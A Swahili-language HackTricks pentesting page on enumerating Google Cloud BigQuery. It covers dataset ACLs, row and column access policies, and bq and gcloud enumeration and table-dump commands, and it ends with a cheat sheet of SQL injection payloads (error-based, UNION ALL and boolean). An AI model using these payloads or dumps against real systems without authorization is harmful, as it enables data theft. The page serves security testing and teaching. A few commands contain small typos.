GCP - Bigquery Enum

Support HackTricks

Taarifa Msingi

Google Cloud BigQuery ni ghala la data la biashara lililosimamiwa kabisa, lisilo na seva, linalotoa uwezo wa uchambuzi wa data za petabytes, hivyo kushughulikia seti kubwa za data kwa ufanisi. Kama Jukwaa kama Huduma (PaaS), hutoa watumiaji miundombinu na zana za kurahisisha usimamizi wa data bila hitaji la uangalizi wa kawaida.

Inasaidia kuuliza kutumia ANSI SQL. Vitu kuu ni seti za data zinazojumuisha meza zinazojumuisha data za SQL.

Kificho

Kwa chaguo-msingi ufunguo wa kificho uliosimamiwa na Google hutumiwa ingawa niwezekanavyo kusanidi ufunguo wa kificho uliosimamiwa na Mteja (CMEK). Niwezekanavyo kuonyesha ufunguo wa kificho kwa kila seti ya data na kwa kila meza ndani ya seti ya data.

Muda wa Kufutwa

Niwezekanavyo kuonyesha muda wa kufutwa kwenye seti ya data hivyo meza mpya iliyoundwa kwenye seti hii ya data itafutwa kiotomatiki idadi iliyowekwa ya siku baada ya kuundwa.

Vyanzo Vya Nje

Bigquery imeunganishwa sana na huduma zingine za Google. Niwezekanavyo kupakia data kutoka kwa vikapu, pub/sub, google drive, databases za RDS...

ACL za Seti ya Data

Wakati seti ya data inaundwa ACLs huambatishwa kutoa ufikiaji juu yake. Kwa chaguo-msingi inapewa mamlaka ya Mmiliki kwa mtumiaji aliyeanzisha seti ya data na kisha Mmiliki kwa kikundi projectOwners (Wamiliki wa mradi), Mwandishi kwa kikundi projectWriters, na Mkusanyaji kwa kikundi projectReaders:

bq show --format=prettyjson <proj>:<dataset>

...
"access": [
{
"role": "WRITER",
"specialGroup": "projectWriters"
},
{
"role": "OWNER",
"specialGroup": "projectOwners"
},
{
"role": "OWNER",
"userByEmail": "gcp-admin@hacktricks.xyz"
},
{
"role": "OWNER",
"userByEmail": "support@hacktricks.xyz"
},
{
"role": "READER",
"specialGroup": "projectReaders"
}
],
...

Kudhibiti Upatikanaji wa Safu za Jedwali

Inawezekana kudhibiti safu ambazo mwakilishi ataweza kupata ndani ya jedwali kwa kutumia sera za upatikanaji wa safu. Hizi hufafanuliwa ndani ya jedwali kwa kutumia DDL. Sera ya upatikanaji inafafanua kichujio na safu zinazolingana tu na kichujio hicho zitakuwa zinazopatikana na wawakilishi waliotajwa.

# Create
CREATE ROW ACCESS POLICY apac_filter
ON project.dataset.my_table
GRANT TO ('user:abc@example.com')
FILTER USING (region = 'APAC');

# Update
CREATE OR REPLACE ROW ACCESS POLICY
CREATE ROW ACCESS POLICY sales_us_filter
ON project.dataset.my_table
GRANT TO ('user:john@example.com',
'group:sales-us@example.com',
'group:sales-managers@example.com')
FILTER USING (region = 'US');

# Check the Post Exploitation tricks to see how to call this from the cli
# Enumerate row policies on a table
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

Kudhibiti Upatikanaji wa Safu za Vitu

Ili kudhibiti upatikanaji wa data kwa kiwango cha safu:

  1. Tambua taksonomia na vitambulisho vya sera. Unda na simamia taksonomia na vitambulisho vya sera kwa data yako. https://console.cloud.google.com/bigquery/policy-tags

  2. Hiari: Mpe jukumu la Msomaji Mdogo wa Katalogi ya Data kwa mmoja au zaidi wa mabwana kwenye moja au zaidi ya vitambulisho vya sera ulivyoiumba.

  3. Weka vitambulisho vya sera kwenye safu zako za BigQuery. Katika BigQuery, tumia maandishi ya schema kuweka kila safu ya sera kwa kila safu ambapo unataka kudhibiti upatikanaji.

  4. Tekeleza udhibiti wa upatikanaji kwenye taksonomia. Kutekeleza udhibiti wa upatikanaji husababisha vizuizi vya upatikanaji vilivyofafanuliwa kwa ajili ya vitambulisho vyote vya sera katika taksonomia kutumika.

  5. Simamia upatikanaji kwenye vitambulisho vya sera. Tumia Utambulisho na Usimamizi wa Upatikanaji (IAM) sera kudhibiti upatikanaji wa kila vitambulisho vya sera. Sera ina athari kwa kila safu inayomilikiwa na vitambulisho vya sera.

Wakati mtumiaji anapojaribu kupata data ya safu wakati wa swali, BigQuery huchunguza vitambulisho vya sera vya safu na sera yake kuona ikiwa mtumiaji ana ruhusa ya kupata data.

Kama muhtasari, ili kudhibiti upatikanaji wa baadhi ya safu kwa watumiaji fulani, unaweza kuongeza lebo kwenye safu katika schema na kudhibiti upatikanaji wa watumiaji kwa lebo kwa kutekeleza udhibiti wa upatikanaji kwenye taksonomia ya lebo.

Ili kutekeleza udhibiti wa upatikanaji kwenye taksonomia, ni muhimu kuwezesha huduma:

gcloud services enable bigquerydatapolicy.googleapis.com

Inawezekana kuona vitambulisho vya nguzo kwa:

bq show --schema <proj>:<dataset>.<table>

[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]

Uchambuzi

# Dataset info
bq ls # List datasets
bq ls -a # List all datasets (even hidden)
bq ls <proj>:<dataset> # List tables in a dataset
bq show --format=prettyjson <proj>:<dataset> # Get info about the dataset (like ACLs)

# Tables info
bq show --format=prettyjson <proj>:<dataset>.<table> # Get table info
bq show --schema <proj>:<dataset>.<table>  # Get schema of a table

# Get entries from the table
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
bq extract <dataset>.<table> "gs://<bucket>/table*.csv" # Use the * so it can dump everything in different files

# Insert data
bq query --nouse_legacy_sql 'INSERT INTO `digital-bonfire-410512.importeddataset.tabletest` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
bq insert dataset.table /tmp/mydata.json

# Get permissions
bq get-iam-policy <proj>:<dataset> # Get dataset IAM policy
bq show --format=prettyjson <proj>:<dataset> # Get dataset ACLs
bq get-iam-policy <proj>:<dataset>.<table> # Get table IAM policy
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

# Taxonomies (Get the IDs from the shemas of the tables)
gcloud data-catalog taxonomies describe <taxonomi-ID> --location=<location>
gcloud data-catalog taxonomies list --location <location> #Find more
gcloud data-catalog taxonomies get-iam-policy <taxonomi-ID> --location=<location>

# Get jobs executed
bq ls --jobs=true --all=true
bq show --location=<location> show --format=prettyjson --job=true <job-id>

# Misc
bq show --encryption_service_account # Get encryption service account

Kuingiza SQL ya BigQuery

Kwa habari zaidi unaweza kuangalia chapisho la blogi: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Hapa ni baadhi ya maelezo tu.

Maoni:

  • select 1#from hapa haifanyi kazi

  • select 1/*kati ya hizo haifanyi kazi*/ Lakini ile ya kwanza tu haitafanya kazi

  • select 1--from hapa haifanyi kazi

Pata taarifa kuhusu mazingira kama vile:

  • Mtumiaji wa sasa: select session_user()

  • Kitambulisho cha mradi: select @@project_id

Jumuisha safu:

  • Majina ya meza zote: string_agg(table_name, ', ')

Pata majina ya seti za data, meza, na safu:

  • Jina la mradi na seti ya data:

SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA
  • Jina la safu na jina la meza za meza zote za seti ya data:

# SELECT table_name, column_name FROM <proj-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS

SELECT table_name, column_name FROM <project-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS
  • Seti nyingine za data katika mradi huo huo:

SELECT catalog_name, schema_name, FROM <proj-name>.INFORMATION_SCHEMA.SCHEMATA

SELECT catalog_name, schema_name, NULL FROM <project-name>.INFORMATION_SCHEMA.SCHEMATA

Aina za SQL Injection:

  • Kulingana na makosa - kubadilisha: select CAST(@@project_id AS INT64)

  • Kulingana na makosa - kugawanya kwa sifuri: ' OR if(1/(length((select('a')))-1)=1,true,false) OR '

  • Kulingana na muungano (inahitaji kutumia ALL katika bigquery): UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#

  • Kulingana na Boolean: ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#

  • Inayoweza kuwa kulingana na wakati - Matumizi ya mifano ya seti za data za umma: SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000

Nyaraka:

Kupandisha Hadhi ya Mamlaka & Baada ya Kudukua

GCP - BigQuery Privesc

Uthabiti

GCP - BigQuery Persistence

Marejeo

unga mkono HackTricks

Last updated